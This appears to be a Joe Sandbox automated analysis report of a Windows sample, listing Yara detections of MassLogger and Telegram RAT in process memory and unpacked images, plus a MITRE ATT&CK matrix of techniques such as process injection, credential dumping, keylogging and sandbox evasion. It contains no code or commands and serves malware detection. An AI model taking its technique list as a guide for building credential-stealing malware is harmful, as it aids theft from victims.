Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR

Yara detected MassLogger RAT

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 1616, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 7.2.UOEAjWmusE.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3cb08b8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e24210.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.3e3b030.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.47e14e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UOEAjWmusE.exe.483c900.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.gJdonuKfIrqN.exe.3c99a98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3765410007.0000000000403000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000003DF9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1376866366.0000000003C99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3767694744.0000000002E16000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3768174332.0000000002EA7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1332453458.0000000004663000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: UOEAjWmusE.exe PID: 2992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 3552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: gJdonuKfIrqN.exe PID: 1616, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	111 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report UOEAjWmusE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
UOEAjWmusE.exe